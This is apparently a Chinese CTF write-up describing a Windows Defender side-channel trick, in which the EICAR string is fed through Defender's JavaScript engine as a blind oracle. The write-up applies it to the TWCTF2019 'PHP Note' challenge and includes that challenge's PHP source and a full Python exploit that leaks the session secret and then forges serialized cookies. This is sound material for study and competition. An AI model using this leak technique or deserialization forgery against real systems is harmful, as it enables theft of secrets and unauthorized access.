Windows Defender 侧信道攻击

Windows Defender

Windows Defender,曾用名Microsoft Anti Spyware,是一个杀毒程序,可以运行在Windows XP和Windows Server 2003操作系统上,并已内置在Windows Vista,Windows 7,Windows8和Windows10。它的测试版于2005年1月6日发布,在2005年6月23日、2006年2月17日微软又发布了更新的测试版本。Windows Defender的定义库更新很频繁。Windows Defender不像其他同类免费产品一样只能扫描系统,它还可以对系统进行实时监控,移除已安装的Active X插件,清除大多数微软的程序和其他常用程序的历史记录。在最新发布的Windows 10中,Windows Defender已加入了右键扫描和离线杀毒,根据最新的每日样本测试,查杀率已经有了大的提升,达到国际一流水准。(百度百科)

Windows Defender的触发流程

  1. 检查文件内容是否包含恶意数据
  2. 更改权限以阻止用户访问
  3. 用空字节替换恶意数据
  4. (删除整个文件)

触发Windows Defender的恶意数据

EICAR测试文件
X5O!P%@ AP [4 \ PZX54(P ^)7CC)7} $ EICAR-STANDARD-TIVIRUS-TEST-FILE!$ H + H *

JavaScript engine in mpengine.dll

mpengine.dll是Windows Defender的核心DLL,其中包含了JavaScript engine,在JavaScript engine中继承了一些基础用法,比如字符串索引操作、数学操作这些,并且支持eval函数,但是eval的参数会进行检测,那么此时我们传入下列js,便会触发Windows Defender:

eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H*')

Some issues in JScript engine

image.png
我们可以用访问对象的方式{0: "a", 1: "b", ...}[input]来代替if语句。

Another feature in mpengine.dll

image.png

构造payload

我们可以将eval中的恶意数据分割成两段

X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H  
*

然后用访问对象的方式进行盲注,当c=n时触发Windows Defender。

{c:'*'}[Math.min(c,n)]

TWCTF2019 PHP Note

源码

<?php
include 'config.php';

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }

    public function getnotes() {
        return $this->notes;
    }

    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

function is_login() {
    return !empty($_SESSION['secret']);
}

function redirect($action) {
    header("Location: /?action=$action");
    exit();
}

$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];

if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
    redirect('index');
}

if ($action === 'source') {
    highlight_file(__FILE__);
    exit();
}


session_start();

if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];

    $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

if ($action === 'logout') {
    session_destroy();
    redirect('index');
}

if ($action === 'post') {
    if ($method === 'POST') {
        $title = (string)$_POST['title'];
        $body = (string)$_POST['body'];
        $note->addnote($title, $body);
        $data = base64_encode(serialize($note));
        setcookie('note', (string)$data);
        setcookie('hmac', (string)hmac($data));
    }
    redirect('index');
}

if ($action === 'getflag') {
    $note->getflag();
}

?>

可以看到想要任意反序列化,需要让verify($_COOKIE['note'], $_COOKIE['hmac'])返回true,也就是hash_hmac('sha256', $_COOKIE['note'], $_SESSION['secret'])==$_COOKIE['hmac']。这里的$_SESSION['secret']未知。
image.png
我们可以先不带$nickname登陆,然后再用$nickname登陆,这样session文件中$secret就会在$realname$nickname之间。
梅子酒师傅的exp

import requests
import string

url = "http://phpnote.chal.ctf.westerns.tokyo/?action={}"
result = ""
def randstr(n=8):
    import random
    import string
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join([random.choice(chars) for _ in range(n)])

def loop(idx, sess_id):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
        p = string.Template(p).substitute({'idx': idx, 'c': str(m)})
        sess_id = randstr()
        headers = {
        "Cookie": "PHPSESSID={}; path=/".format(sess_id)
        }
        requests.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login", headers=headers, data={'realname': p})
        requests.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login", headers=headers, data={'realname': p, 'nickname': "</body>"})
        re = requests.get("http://phpnote.chal.ctf.westerns.tokyo/?action=index", headers=headers)
        if re.text.find('Welcome') != -1:
            h = m
        else:
            l = m
    return chr(l)


for i in range(0, 50):
    x = loop(i, "46f97a7c139b071ca584e0cad09a06c6")
    result += x
    print("[*]: " + result)

print(result)

charCodeAt的返回unicode值范围在0-65535,0-255就够用了。
image.png
拿到secret后构造反序列化数据和hmac即可getflag。
image.png

Referer

https://meizjm3i.github.io/2019/08/01/%E5%88%A9%E7%94%A8Windows%20Defender%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/
https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf